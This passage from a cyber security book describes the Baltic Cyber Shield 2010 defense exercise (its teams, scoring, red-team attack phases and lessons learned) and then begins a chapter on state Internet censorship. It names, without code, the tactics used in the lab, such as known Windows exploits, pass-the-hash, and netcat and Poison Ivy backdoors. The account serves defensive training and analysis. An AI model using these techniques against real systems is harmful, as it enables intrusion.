traffic control, stock exchange,163 national elections,164 and more. However, the extent to which cyber attacks pose a true threat to national security is unclear. Expert opinions range from dismissive165 to apocalyptic.166 We do know that there are worrisome trends in information technology (IT). Nation- al critical infrastructures are increasingly connected to the Internet. At the same time, their custom IT systems, some created in the 1950s and 1960s, are now being replaced with less expensive, off-the-shelf and Internet-enabled Windows and UNIX systems that are not only easier to use but easier to hack. The older systems were relatively more secure because they were not well-understood by outsiders and be- cause they had minimal network contact with other computer systems.167 National security planners require a better understanding of the threat posed by cy- ber attacks as soon as possible. Some real-world case studies exist.168 However, much information lies outside the public domain. Furthermore, there have been no wars yet between two Internet-enabled militaries, and the ignorance of many organiza- tions regarding the state of their own cyber security is alarming. Looking toward the future, military planners must be able to simulate cyber attacks and test cyber 162 “Remarks by the President...” 2009; “Cyber War...” 2009: The threat to electricity encompasses everything that relies on electricity to function, including computer systems. In May 2009, President Obama stated that “cyber attacks have plunged entire cities into darkness,” reportedly referencing large scale, anonymous attacks in Brazil. 163 Wagner, 2010: In May 2010, after the Dow Jones surprisingly plunged almost 1,000 points, White House adviser John Brennan stated that officials had considered but found no evidence of a malicious cyber attack. 164 Orr, 2007: In 2007, California held a hearing for election officials on the subject of whether hackers could subvert the integrity of the state’s touch-screen voting machines. While the system manufacturer disputed the validity of the tests, the Red Team leader testified that the voting system was vulnerable to numerous attacks that could be carried out quickly. 165 Persuasive cyber war skeptics include Cambridge University Professor Ross Anderson, Wired “Threat Level” Editor Kevin Poulsen, and Foreign Policy editor Evgeny Morozov. 166 Bliss, 2010: In early 2010, former U.S. Director of National Intelligence Michael McConnell testified that the U.S. would “lose” a cyber war today, and that it will probably take a “catastrophic event” before needed security measures are undertaken to secure the Internet. 167 Preimesberger, 2006. 168 Geers, 2008: This author has highlighted the cases of Chechnya, Kosovo, Israel, China, and Estonia. 51 Cyber Security: A Technical Primer defenses within the bounds of a safe laboratory environment, without threatening the integrity of operational networks.169 The need for cyber defense exercises (CDX) is clear. But the complex and ever- changing nature of IT and computer hacking makes conducting a realistic CDX an enormous challenge and may render its conclusions valid only for a short period of time. The world is experiencing a rapid proliferation of computing devices, process- ing power, user-friendly hacker tools, practical encryption, and Web-enabled intel- ligence collection.170 At the same time, a CDX requires the simulation of not only adversary and friendly forces, but even the battlefield itself. Of course, the military is no stranger to computers. Software is now used to train tank drivers and pilots; it is also used to simulate battles, campaigns, and even com- plex geopolitical scenarios. But it remains controversial how closely a computer sim- ulation can model the complexity of the real world. Myriad factors can contribute to failure – poor intelligence, incorrect assumptions, miscalculations, a flawed scoring system, and even political considerations. In 2002, the U.S. military spent $250 million on a war game called Millennium Challenge, which was designed to model an invasion of Iraq. In the middle of the exercise, the Red Team (RT) leader, Marine Corps Lt. Gen. Paul Van Riper, quit the game on the grounds that it had been rigged to ensure a Blue Team (BT) victory.171 This chapter covers the origin and evolution of CDXs, and it describes the design, goals, and lessons learned from a recent “live-fire” international CDX, the May 2010 Baltic Cyber Shield (BCS). BCS was managed at the Cooperative Cyber Defence Cen- tre of Excellence (CCD CoE) in Tallinn, Estonia. Its virtual battlefield was designed and hosted by the Swedish Defence Research Agency (FOI) in Linköping, Sweden with the support of the Swedish National Defence College (SNDC).172 Over 100 par- ticipants hailed from across northern Europe. A robust CDX requires a team-oriented approach. There are friendly forces (Blue), hostile forces (Red), technical infrastructure (Green), and game management (White). The RT and BTs are the CDX combatants. The Green Team (GT) and White Team (WT) are non-combatants; RT attacks against either in most CDXs are strictly prohibited. 169 Occasionally, “penetration tests” are conducted against operational networks, but extreme care is always taken to avoid a real-life denial-of-service and/or the loss of sensitive data. 170 In the Internet age, Open Source Intelligence (OSINT) collection, against both people and organizations, is easier and more powerful than ever. 171 Gomes, 2003. 172 Estonian Cyber Defence League, Finnish Clarified Networks, NATO Computer Incident Response Capability-Technical Centre (NCIRC-TC), Swedish Civil Contingencies Agency (MSB) and National Defence Radio Establishment (FRA) also participated in the CDX. 52 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY BT personnel are normally real-life system administrators and computer security specialists. Their goal is to defend the confidentiality, integrity, and availability (CIA) of their computer networks against hostile RT attacks. In BCS 2010, the BTs were the primary targets for instruction; their progress was tracked by automated and manual scoring systems. The RT plays the role of a cyber attacker, or in this CDX, a “cyber terrorist.” The RT attempts to undermine the CIA of BT networks, using a variety of hacker tools and tactics.173 In a “white box” test, RTs may be given detailed, prior knowledge of the BT networks; a “black box” test requires the RT to gather this information on its own.174 Either way, RTs – just like real-life hackers – have an enormous advantage over their BT counterparts because they can often methodically work their way through vari- ous cyber attacks until they succeed in hacking the network.175 The WT manages and referees the CDX. Normally, it writes the game’s scenario, rules, and scoring system. The WT will make in-game adjustments in an effort to en- sure that all participants are gainfully employed throughout the CDX. It also seeks to prevent cheating. For example, if a particular firewall rule appeared to be detri- mental to the game and/or unrealistic in real-life, the WT may disallow it. Finally, the WT often declares a CDX “winner.” The GT is responsible for designing and hosting the CDX network infrastructure. It is the in-game “Internet Service Provider” (ISP). To allow for post-game analysis, the GT should attempt to record all CDX network traffic. With the aid of virtual machine technology, it is technically possible to carry out a CDX on a handful of computers. However, to simulate a powerful adversary, significant resources are required, and a time- and labor-intensive CDX is unavoidable. (The RT, for example, should have a plan that indicates the availability of significant money and manpower.) With Virtu- al Private Network (VPN) technology, the RT, BTs, and WT can be located anywhere in the world and remotely connect to the CDX environment. All automatic scoring in the CDX is implemented by the GT. Cyber warfare is very different from traditional warfare. Tactical victories amount to a reshuffling of the electronic bits of data – also known as ones and zeros – inside 173 Preimesberger, 2006: In the U.S., Sandia National Laboratories have developed eight “natural categories” of Red Teaming: design assurance, hypothesis testing, benchmarking, behavioral Red Teaming, gaming, operational Red Teaming, penetration testing, and analytic Red Teaming. 174 A black box is often considered more realistic because real-world hackers normally find themselves in this position. However, given strict time limits, white box CDXs are the norm. In BCS 2010, the RT had access to the initial BT network for three weeks prior to the CDX. 175 Geers, 2010: In a CDX, this depends in part on the complexity of the network the BTs have to defend and the amount of time the RT has to attack it. In the real world, hackers can often remain anonymous in cyberspace, so deterring cyber attacks is difficult. Attackers may be able to keep trying to crack a network until they succeed, and there is normally no penalty for the failed attempts. 53 Cyber Security: A Technical Primer a computer. At that point, an attacker must wait to see if any intended real-world ef- fects actually occur. A cyber attack is best understood not as an end in itself, but as an extraordinary means to a wide variety of ends: espionage,176 denial of service,177 identity theft,178 propaganda,179 and even the destruction of critical infrastructure.180 The primary goal of a CDX is to credibly simulate the attack and defense of a com- puter network. At the tactical level, the RT has the same goals as any real-world hacker – to gain unauthorized access to the target network.181 If “administrator” or “root” access is obtained, the intruder may be able to install malicious software and erase incriminating evidence at will. Further actions, possibly aimed to support some political or military goal, could range in impact from a minor annoyance to a national security crisis. The CDX “scenario” is helpful in determining the overall strategic significance of an exercise. A well-written scenario should estimate the required resources and pro- jected cost of a theoretical attack. This in turn helps national security planners to determine whether a person, group, or nation could attempt it. For example, it still remains difficult to imagine a lone hacker posing a threat to a nation-state.182 How- ever, future cyber attacks might change that perception. It is almost impossible for a limited-duration CDX to simulate the threat posed by a nation-state. Military and intelligence agencies are “full-scope” actors that do not rely solely on computer hacking to achieve an important objective. Governments draw from a deep well of expertise in many IT disciplines, including cryptogra- 176 “Tracking GhostNet...,” 2009: The most famous case to date is “GhostNet,” investigated by Information Warfare Monitor, in which a cyber espionage network of over 1,000 compromised computers in 103 countries targeted diplomatic, political, economic, and military information. 177 Keizer, 2009: During a time of domestic political crisis, hackers were able to make matters worse by knocking the entire nation-state of Kyrgyzstan offline. 178 Gorman, 2009b: American identities and software were reportedly used to attack Georgian government websites during its 2008 war with Russia. 179 Goble, 1999: Since the earliest days of the Web, Chechen guerilla fighters have demonstrated the power of Internet-enabled propaganda. “‘USA Today’ Website Hacked...” 2002: On a lighter note, a hacker placed a series of fake articles on the USA Today website. One read, “Today, George W. Bush has proposed ... a Cabinet Minister for Propoganda and Popular Englightenment [sic].... If approved, Bush would appoint Dr. Joseph Goebbels to the post.” 180 Meserve, 2007: Department of Homeland Security (DHS) officials briefed CNN that Idaho National Laboratory (INL) researchers had hacked into a replica of a power plant’s control system and changed the operating cycle of a generator, causing it to self-destruct. 181 There are exceptions, such as a denial-of-service attack in which the main goal is to overload the system with superfluous data. 182 Verton, 2002: Nonetheless, it is astonishing what some lone hackers have been able to accomplish. In 2001, “MafiaBoy,” a 15 year-old from Montreal, was able to deny Internet service to some of the world’s biggest online companies, causing an estimated $1.7 billion in damage. 54 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY phy, programming, debugging, vulnerability discovery, agent-based systems, etc.183 Those skill sets are in turn supported by experts in the natural sciences, physical security, supply chain operations, continuity of business, social engineering,184 and many more. The Sandia National Laboratories RT, based in New Mexico, provides a robust model. Sandia has a long track record of successfully hacking its clients, which include military installations, oil companies, banks, electric utilities, and e-commerce firms. Its RT takes pride in finding hidden vulnerabilities in complex environments,185 in- cluding obscure infrastructure interdependencies in highly specialized domains.186 A former Sandia RT leader put it best: “Our general method is to ask system owners: ‘What’s your worst nightmare?’ and then we set about to make that happen.”187 Every CDX is unique. There are simply too many variables in cyberspace, and IT con- tinues to evolve at an astonishing rate. Some CDXs are conducted only in a labora- tory, while others take place on real networks in the real world. For the latter, cyber defenders may be warned about the CDX before it starts, or the RT attack may come as a complete surprise. In 1997, an RT of thirty-five U.S. National Security Agency (NSA) personnel, playing the role of North Korean hackers, targeted the U.S. Pacific Command from cyber- space. The CDX, code-named Eligible Receiver, was an enormous success. James Adams wrote in Foreign Affairs that the RT was able to infect the “human com- mand-and-control system” with a “paralyzing level of mistrust,” and that “nobody in the chain of command, from the president on down, could believe anything.”188 Furthermore, Eligible Receiver was credited with revealing that a wide variety of national critical infrastructures was equally vulnerable to common hacker tools and techniques.189 Many CDXs involve a proof-of-concept. In 2006, the U.S. Environmental Protection Agency asked the Sandia RT to conduct a vulnerability assessment of every water 183 Lam et al, 2003. 184 Lawlor, 2004: Social engineering takes advantage of human weaknesses in security. Experience shows that malicious or co-opted insiders, due to the physical access they have to IT systems, can do more damage to an organization than a malicious outsider. This type of attack can be surprisingly easy to conduct against a large organization, where one does not personally know everyone in the organization. 185 For example, the production of energy – as well as the ability to attack an energy plant – can require a knowledge of systems and computer languages that is truly unique to that environment. 186 Lawlor, 2004. 187 Gibbs, 2000. 188 Adams, 2001. 189 Verton, 2003. 55 Cyber Security: A Technical Primer distribution plant serving at least 100,000 people. The fear was that a malicious hacker might be able to change the chemical composition of water enough to poison it. When the RT discovered that there were 350 such facilities in the country – far too many to examine each one – Sandia decided to conduct a thorough analysis of five sites and then construct the Risk Assessment Methodology for Water (RAM-W), which could then be used for self-assessment.190 Today, an important trend in CDXs is to encompass international partners. Because the architecture of the Internet is international in scope, Internet security is by defi- nition an international responsibility. In 2006, the U.S. Department of Homeland Security (DHS) began a bi-annual, inter- national CDX called Cyber Storm. This event specifically seeks to assess how well government agencies and the private sector can work together to thwart a cyber attack.191 The 2006 scenario simulated an attack by non-state, politically-motivated “hacktivists.”192 The 2008 Cyber Storm II193 simulated a nation-state actor that con- ducted both cyber and physical attacks on communications, chemical, railroad, and pipeline infrastructure.194 In 2010, Cyber Storm III added the compromise of trusted Internet transactions and relationships and included cyber attacks that led to the loss of life. The testing of cyber defenses is not confined to the First World. In 2009, the U.S. sponsored an international CDX in remote and mountainous Tajikistan, which in- cluded participants from Kazakhstan, Kyrgyzstan and Afghanistan.195 Baltic Cyber Shield (BCS), held on May 10-11, 2010 in numerous countries across northern Europe, was a “live-fire” CDX. A twenty-person international RT and six national BTs took part in an unscripted battle in which the use of malicious code – within the confines of a virtual battlefield196 – was both authorized and encouraged. 190 Preimesberger, 2006. 191 Verton, 2003: Market forces, deregulation, and outsourcing mean that myriad important computer networks and critical infrastructures now lie in private hands. This, combined with the reluctance of many businesses to disclose cyber attacks for fear of embarrassment, make it difficult for government to help protect the private sector. 192 Chan, 2006. 193 This CDX included eighteen federal agencies, nine U.S. states, three dozen private companies, and four foreign governments: Australia, Canada, New Zealand, and the UK. These were the same countries that took part in 2006. It is worth noting that these governments are members of a joint 1947 intelligence-sharing accord that makes it possible for them to share classified information. 194 Waterman, 2008: The RT also targeted the media in an effort to undermine public trust in government. 195 “International cyber exercise...” 2009. 196 The entire CDX took place within the bounds of a safe laboratory environment. 56 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY BCS 2010 was similar in nature to the annual CDXs that pit U.S. military services against one another197 and for which the Pentagon now sponsors a national com- petition at the high school level.198 Other CDXs that inspired aspects of BCS 2010 included the Pentagon’s International Cyber Defense Workshop (ICDW), the UCSB International Capture the Flag (iCTF), and the U.S. National Collegiate Cyber Defense Competition. The game scenario described a volatile geopolitical environment in which a hired- gun, Rapid Response Team of network security personnel defended the computer networks of a power supply company against increasingly sophisticated cyber at- tacks sponsored by a non-state, terrorist group.199 BCS 2010 had three primary goals. First, the BTs should receive hands-on experi- ence in defending computer networks containing Critical Information Infrastructure (CII) and elements of Supervisory Command and Data Acquisition (SCADA).200 Sec- ond, the CDX scenario sought to highlight the international nature of cyberspace, to include the political, institutional, and legal obstacles to improved cyber defense cooperation. Third, participating teams were meant to gain a better understanding of how to conduct CDXs in the future. The WT was based primarily at SNDC in Stockholm, Sweden, with a smaller con- tingent at CCD CoE in Tallinn, Estonia. The WT’s scoring criteria were designed to gauge the BTs’ ability to maintain the CIA of their virtual networks, including office infrastructure and external services.201 In the event of compromise, the number of points lost depended on the criticality of the system, service, or penetration. For example, if the RT gained Admin/Root-level access to a computer or compromised a SCADA Programmable Logic Controller (PLC), the BT was significantly penalized. On the other hand, BTs won positive points for thwarted attacks, for successfully 197 Caterinicchia, 2003. 198 Defense & Aerospace, 2010: In March 2010, “Team Doolittle” from Clearfield High School in Utah won the CyberPatriot II Championships, sponsored by the U.S. Air Force Air Warfare Symposium in Orlando, Florida. 199 Lewis, 2010: James Lewis of CSIS recently stated: “It remains intriguing and suggestive that [terrorists] have not launched a cyber attack. This may reflect a lack of capability, a decision that cyber weapons do not produce the violent results terrorists crave, or a preoccupation with other activities. Eventually terrorists will use cyber attacks, as they become easier to launch...” 200 SCADA systems can be used to support the management of national critical infrastructures such as the provision of electricity, water, natural gas and manufacturing. The disruption or other misuse of such systems could potentially become a national security issue. 201 Both automated and manual means were used to verify CIA. The latter, for example, could entail the WT simulating the actions of ordinary users. They may periodically request a BT webpage to see that it is reachable and not defaced. 57 Cyber Security: A Technical Primer completing in-game “business requests,”202 and for the implementation of innovative cyber defense strategies and tactics. The six BTs consisted of 6-10 personnel each, and hailed from various northern European governments, military, private sector, and academic institutions. All were provided an identical, pre-built, and somewhat insecure computer network com- posed of 20 physical PC servers running a total of 28 virtual machines.203 These were further divided into four VLAN segments – DMZ, INTERNAL, HMI,204 and PLC. The BT networks were further connected to various in-game servers that provided additional business functionality to their fictitious users. The BCS 2010 scenario called for the inclusion of SCADA software in order to simu- late a power generation company’s production, management, and distribution capa- bilities. These comprised GE PLCs, Simplicity HMI terminals, Historian databases, and two physically-separated model factories per BT network. Because of the “rapid response” nature of the BCS 2010 scenario, the BTs were given access to the CDX environment – including somewhat outdated network documenta- tion – only on day one of the CDX. They were allowed to harden their networks,205 but a minimum number and type of applications and services had to be maintained.206 The BTs were allowed to install new software and/or modify existing software. How- ever, offensive BT cyber attacks, either against the RT or against other BTs, were strictly prohibited.207 202 This aspect of the game was intended to raise the stress level of BT participants. It simulated the real- world challenge of handling both security threats and ordinary business processes at the same time. For example, a CEO may call while on a business trip, needing immediate remote access, and the BT must provide a timely solution. Alternatively, a BT member might become “ill” and have to spend one hour on “sick leave” in a break room. 203 The BTs accessed the game environment by VMWare Console from a browser or over SMB, RPC, SSH, VNC, or RDP. The power company’s network included both Windows and Linux operating systems. Unfortunately, the Console access of the free version of VMWare Server proved to be too slow and unstable for such a large event. 204 Human Machine Interface: these workstations ran the control software for the PLCs, providing the communication link between the Supervisor node and the remote factories. 205 In the real world too, new IT hires cannot assume that legacy systems are secure or even properly installed. They are likely to find some vulnerable, unpatched, redundant, etc systems. Further, existing documentation may be dated or incomplete. Once given access to the infrastructure, the BTs were allowed to disable, patch, and/or replace applications and services as long as the final configuration met CDX parameters. 206 These included HTTP, HTTPS, SMTP, DNS, FTP, IMAP/POP3, SSH, and NTP. 207 As a starting point, the BTs must stay within their countries’ legal frameworks. 58 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY The BCS RT consisted of twenty volunteers208 from throughout northern Europe.209 The RT was given access to the game environment two weeks prior to the CDX in order to simulate a degree of prior reconnaissance. To maximize the CDX’s value to all participants, the WT directed the RT to begin its attacks slowly, and to pro- gressively increase the scale and sophistication of its attacks throughout the game. Beyond that, there was no limit on the type of hacker tools and techniques that the RT could use.210 However, the RT was strictly prohibited from attacking the CDX infrastructure,211 and all attacks were confined to the virtual game environment. In- ternally, the RT divided itself into four sub-teams, depending on the hackers’ attack specialization: “client-side,” “fuzzing,” “web app,” and “remote.” The GT, based at the Swedish Defence Research Agency (FOI) in Linköping, Sweden, hosted most of the BCS 2010 infrastructure. The BT networks were designed col- laboratively by the GT and the WT. The FOI laboratory consisted of nine racks, with twenty physical servers in each rack.212 The game infrastructure included twelve, twenty centimeter tall physical models of factories, each with its own PLC, SCADA software, and “Ice Fountain” fireworks that the RT could turn on as “proof” of a suc- cessful attack. The GT provided the RT and BTs access to the game environment via OpenVPN. Finally, the WT had access to a robust visualization environment213 that displayed all network topography, network traffic flows, observer reports, chat channels, team workspaces, scoreboard, and a terrestrial map of the CDX environment.214 BCS 2010 formally began when the BTs and the RT logged into the CDX environ- ment. But the most anticipated moment arrived when the RT began its cyber attack on the BT networks. 208 The BCS 2010 RT was mostly volunteer-based. However, it is worth noting that one contractor bid to provide an RT came in at $500,000. 209 The Estonian Cyber Defence League built and managed the RT. 210 However, it is helpful if many easily-accessible, Internet-available attack tools are used, because the BTs will see these often in the real world. 211 Including the game scoring system J. 212 The servers had 2 Xeon 2.2 GHz processors, 2 GB RAM, 80 GB HDD, VMware Server 2.0.2 on Gentoo Linux, 2x Ethernet interfaces, and 2 switches, one for management and one for the game network. 213 This was provided by the Finnish company Clarified Networks. 214 In the BCS 2010 scenario, two BTs were theoretically based in South America, two in Africa, and two in Asia; the RT was in Iceland (in reality, all teams were located in northern European countries). 59 Cyber Security: A Technical Primer The RT campaign was divided into four phases: • Declaration of war • Breaching the castle wall • Owning the infrastructure • Wanton destruction The first objective, declaration of war, required the RT to “deface” the six BT public websites and to give each power company an ultimatum. In a posted statement, the “cyber warfare division” of an extremist environmental organization called “K3” demanded that the power company publicly announce its intention to convert to alternative, greener power ... or face a crippling cyber attack. The RT succeeded in defacing five of the six sites within 30 minutes. During phase one, the RT was allowed to compromise only one server in each BT DMZ and only one internal workstation in each BT network. Even with these con- straints, however, the RT succeeded in creating such a steady stream of incident reports that the WT had trouble translating all of them into negative points for the BTs. For example, within an hour the RT had established a live audio and video connection into one BT network; in other words, the game had barely begun and a digital spy was already working inside one of the power companies. In the past, a major challenge inherent in CDXs is that it has been difficult for the RT to maintain balanced and sustained pressure on all BTs throughout the game. At dif- ferent stages in a CDX, some BTs could be quite busy, while others had nothing to do. To help avoid this, the WT instructed the RT that, for each vulnerability discovered on a BT network, the RT must systematically check all other BT systems for the same vulnerability and exploit it if possible. Phase two of the K3 attack campaign called for the RT to compromise as many DMZ215 systems as possible. At the end of day one, the RT had successfully attacked 42 computers, including web and email servers. The RT leader was more than pleased with his team’s progress. Phase three called for the RT to steal the BT networks’ “crown jewels.” In BCS 2010, these were the internal network computers that served as the HMI for power gen- eration and management, i.e., its SCADA infrastructure. Although the RT was quite successful in the CDX overall, it claimed only limited victories in phase three. Of the 215 The DMZ, or demilitarized zone, is a physical or logical subnetwork that is exposed to untrusted networks, such as the Internet. 60 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY twelve model factories, the RT succeeded in setting only one of them on fire, and it is still unclear whether this RT success was intentional or accidental.216 The fourth and final phase of BCS 2010, “wanton destruction,” allowed the RT to attack and destroy any BT system in the CDX. The goal was to simulate a desperate attempt by K3 to cause maximum disruption to the power companies’ operations. Unfortunately, RT successes in this phase often denied service to the same comput- ers it had previously compromised, and it prevented the WT from scoring the game properly. In other words, a poorly-designed DoS attack can bring down large sec- tions of network infrastructure and nearly ruin the game. In this CDX, for example, the RT used a custom-configured Cisco router to simulate traffic; at one point, it created such a high volume of data that the RT denied itself access to the gamenet for 15 minutes. The RT successfully attacked several publicly-known vulnerabilities during BCS 2010, including MS03-026, MS08-067, MS10-025, and flaws in VNC, Icecast, Cla- mAV, and SQUID3. It hacked web applications such as Joomla and Wordpress and also employed SQL injection, local and remote file inclusion, path traversal, and cross-site scripting against Linux, Apache, Mysql, and PHP. Other tactics included account cracking, online brute-forcing, DoS with fuzzing tools, obtaining password hashdumps of compromised systems, and using the “pass-the-hash” technique to hack into more machines. The RT installed Poison Ivy, netcat, and custom made code as backdoors. Metasploit was used to deploy reverse backdoors. The RT modi- fied compromised systems in various ways, such as altering the victim’s crontab file to continuously drop firewall rules. Last but not least, the RT possessed a zero-day client-side exploit for virtually every browser in existence today. Although the BCS 2010 scoring system applied only to the BTs, when the game was over, the RT leader smiled as if his team had won the game. When the CDX ended, there were over 80 BT computers that were confirmed compromised. However, the BTs did adopt some successful defensive strategies. The most success- ful BT – which was also declared the winner of BCS 2010 – quickly moved essential network services, such as NTP, DNS, SMTP and WebMail, to its own custom-built, higher-security virtual machine. IPsec filtering rules were used for communications with the Domain Controller. This BT had also requested the use of an “out-of-band” communication channel for its discussions with the WT, i.e., not the in-game email system, which it assumed might be compromised. Finally, the winning BT was suc- cessful in finding and disabling preexisting GT-installed malware.217 216 The RT may have gotten lucky while examining the SCADA Modbus protocol with their fuzzing tools. 217 Preexisting malware can simulate what a Rapid Response Team would likely find on any computer network. 61 Cyber Security: A Technical Primer BCS 2010 also highlighted the value of numerous current OS-hardening tools and techniques. For Linux computers, these included AppArmor, Samhain, and custom short shell scripts; for Windows, Active Directory (AD) group policies, the CIS SE46 Computer Integrity System, Kernel Guard, and the central collection of event logs. For all OSs, the white/black-listing and blocking/black hole-routing of offending IP addresses, on a case-by-case basis, proved invaluable. The Cooperative Cyber Defence Centre of Excellence (CCD CoE), the Swedish Nation- al Defence College (SNDC) and the Swedish Defence Research Agency (FOI) believe that BCS 2010 accomplished its three primary goals. First, the GT network infrastructure provided a sufficiently robust environment for a rare “live fire” CDX that offered six professional BTs the opportunity to defend CII and SCADA-enabled computer networks against a highly-motivated, capable RT. All teams were fully occupied throughout the two-day exercise, and very little down- time was reported. Further, the BCS 2010 scenario described a “cyber terrorist” threat that may already endanger the national security of governments around the world.218 Second, BCS 2010 was a truly international exercise. Because cyber attacks can be launched from anywhere in the world and are likely to traverse third-party coun- tries en route to a target, it is critical to develop cross-border relationships before an international crisis occurs. In BCS 2010, over 100 personnel from seven coun- tries participated. Numerous international partnerships were either established or strengthened during the course of this project. Third, BCS 2010 conducted a post-exercise participant survey with a view toward providing a list of lessons learned to future CDXs around the world.219 Here are the highlights: • There should be at least one WT member per BT and two WT members on the RT to allow for sufficient observation, communication, adjudication, and clarification on scoring. • The WT should include a cyber-savvy lawyer to shed light on the legality of unscripted attack and defense scenarios. • Each BT must have at least one full-time WT-appointed “dumb user” active on the virtual network to make client-side attacks possible.220 In BCS 2010, the 218 “Remarks...” 2009; Cyber War...” 2009. 219 The author gave a BCS 2010 presentation at DEF CON 18: www.defcon.org/html/links/dc-archives/ dc-18-archive.html#Geers. 220 This cannot be an integral BT member due to the obvious conflict of interest. 62 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY RT did not have the chance to use a powerful “zero-day” browser exploit with which they had intended to target the virtual power company employees. • Prior to a “live-fire” CDX, all participants should devote one full day to testing connectivity, bandwidth, passwords, cryptographic keys, etc., and for clarifica- tion on rules and scoring. • The VMWare Server Console was too slow for the high demands BCS 2010 placed upon it, and it cannot be recommended to other CDXs. • The WT/GT should grant the BTs some network administration rights over their physical machines in the CDX environment. Otherwise, installing and patching software can be too time-consuming. • A “wanton destruction” phase (i.e., one without a clearly defined purpose and certain limits on the RT) will likely destroy the game itself and so for most CDX scenarios cannot be recommended. • In a project this big, some egos and agendas are bound to clash. It is important to designate diplomatic yet authoritative personalities, who can meet team- oriented deadlines, from the beginning. Finally, one of the lessons of BCS 2010 is that many of the challenges inherent in conducting a robust CDX mirror the challenges of managing both IT and cyber secu- rity in the real world. Cyberspace is complicated, polymorphic, dynamic, and evolv- ing quickly. Cyber defenders may never see the same attack twice. Furthermore, the intangible nature of cyberspace can make the calculation of victory, defeat, and battle damage a highly subjective undertaking. Therefore, believe it or not, both in the laboratory and in the real world, even knowing whether one is under cyber at- tack can be a challenge. Chapter 3 has introduced the reader to the highly technical nature of cyber security at the tactical level. Chapter 4 will show how cyber attacks have impacted the real world, even at the strategic level. 63 Cyber Security: Real-World Impact 4. CYBER SECURITY: REAL-WORLD IMPACT Chapter 3 described a wide range of technical challenges to securing the Inter- net and revealed that even our national critical infrastructures are at risk. But it is always important to correlate theoretical discussion with real-world events. Have cyber attacks truly had an influence at the highest levels of government? To what extent have they impacted national security? Cyber Security and Internal Political Security221 National security begins at home. No government can worry about foreign threats or adventures before it feels secure within its own borders. In terms of domestic security, a major consideration for many governments is infor- mation management, if not information control. The most famous example comes from fiction. In 1949, in his novel Nineteen Eighty-Four George Orwell imagined a government that waged full-time information warfare against its own citizens, with the aid of two-way Internet-like “telescreens.”222 Unfortunately, in 2011 some countries are not far from Orwell’s vision, and media carry only stories that are carefully crafted by government censors. For example, in North Korea, the world’s most repressive and isolated country, the perceived threat to stability from unrestricted access to the Internet is prohibitively high. Television and radio carry only government channels, and there is an Orwellian “national inter- com” wired into residences and workplaces throughout the country through which the government provides information to its citizens. North Korea’s aging leader, Kim Jong-il, is said to be fascinated with the IT revolu- tion. In 2000, he gave visiting U.S. Secretary of State Madeleine Albright his per- sonal email address. However, computers are unavailable to ordinary North Korean citizens, and it is believed that only a small circle of North Korean leadership have free access to the Internet. 221 This chapter consists of an updated section from a 2007 paper, “Greetz from Room 101,” written and presented by the author at DEF CON 15 and Black Hat. It contains material from Reporters without Borders (www.rsf.org), OpenNet Initiative (www.opennet.net), Freedom House (www.freedomhouse. org), Electronic Frontier Foundation (www.eff.org), ITU Digital Access Index (www.itu.int), and Central Intelligence Agency (www.cia.gov). For example, RSF assessments are based on a combination of “murders, imprisonment or harassment of cyber-dissidents or journalists, censorship of news sites, existence of independent news sites, existence of independent ISPs, and deliberately high connection charges.” 222 Orwell, 2003 (originally written in 1949). 64 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY Each year, one hundred male students as young as 8 years old are chosen to at- tend the Kumsong computer school, where the curriculum consists of computer programming and English. The students are not allowed to play games or access the Internet, but they do have an instant messaging system within the school. According to the South Korean Chief of Military Intelligence, some top graduates from the Kim Il-Sung Military Academy have been selected for an elite, state-spon- sored hacker unit, where they develop “cyber-terror” operations. International Internet connections run from North Korea to the rest of the world via Moscow and Beijing. They are managed at the Korea Computer Centre (KCC), estab- lished in 1990. Reports suggest that KCC downloads officially-approved research and development data, which it offers to a very short list of clients. North Korea’s official stance on Internet connectivity is that the government cannot tolerate the “spiritual pollution” of its country. However, South Korea determined that North Korea was operating a state-run cyber casino on a South Korean IP ad- dress. Since that time, South Korean companies have been barred from registering North Korean sites without government approval. According to recent statistics, North Korea is 48th in the world in population at 24.5 million. However, the country possesses only three computers which are directly connected to the Internet, so it sits at number 227 in the world in that category.223 North Korea is not alone in fearing the power of the Internet to undermine its do- mestic security. In Turkmenistan, President-for-Life Saparmurat Niyazov – the Turk- menbashi, or Father of All – died in late 2006, but his personality cult and the tightly-controlled media he left behind have had a lasting impact on the country. Information and communication technology is woefully underdeveloped. The Turk- mentelekom monopoly has allowed almost no Internet access, either from home or via cyber café. A few Turkmen organizations have been allowed to access just a handful of officially-approved websites. In 2001, of all the countries of the former Soviet Union, Turkmenistan had the fewest number of IT-certified personnel – fifty- eight. In addition, the CIA reported in 2005 that there were only 36,000 Internet users, out of a population of 5 million. In 2006, a Turkmen journalist who had worked with Radio Free Europe died in prison, only three months after being jailed. Despite repeated European Union (EU) demands, there has been no investigation into the incident. 223 CIA World Factbook, 9 March, 2011. 65 Cyber Security: Real-World Impact Foreign embassies and non-governmental organizations furnish their own Internet access. In the past they have offered access to ordinary Turkmen, but it was too dangerous for the average citizen to accept the offer. Following Niyazov’s death, Gurbanguli Berdymukhamedov was elected president224 with a campaign promise to allow unrestricted access to the Internet. And within days, two cyber cafés opened in the capital. A visiting AP journalist reported easy access to international news sites, including those belonging to Turkmen political opposition groups. However, the price per hour was $4, exorbitant in a country where monthly income is under $100. Today, Turkmenistan has a population of 5 million. Unfortunately, under 100,000, or under 2%, are believed to have Internet access.225 On the bright side, computer hardware is available in Turkmenistan, and computer gaming is popular. Also, the use of satellite TV is on the rise, which could be used to improve Internet connectiv- ity in the future. The world’s largest and most sophisticated Internet surveillance belongs to the Peo- ple’s Republic of China (PRC), which employs an army of public and private226 cyber security personnel to keep watch over its citizens. The PRC has strict controls on access to the World Wide Web, and policemen are stationed at cyber cafés, which track patrons’ usage for 60 days. The “Great Firewall” is designed specifically to prevent the free flow of information in and out of the country, including content related to politics, human rights, reli- gion, and pornography. Some sites, such as Google and BBC, have been completely blocked for a period of time. Search results are believed to be filtered by keyword at the national gateway and not by web browsers in China. The high level of sophistication in Chinese Internet surveillance is evident by the fact that some URLs have been blocked, even while corresponding top level domains (TLD) are accessible and webpage content appears consistent across the domain. This suggests active human participation in state censorship (i.e., the system is not completely automated). At the extreme end, some blog entries appear to have been edited by censors and reposted to the Web. 224 This election was not monitored by international observers. 225 CIA World Factbook, 9 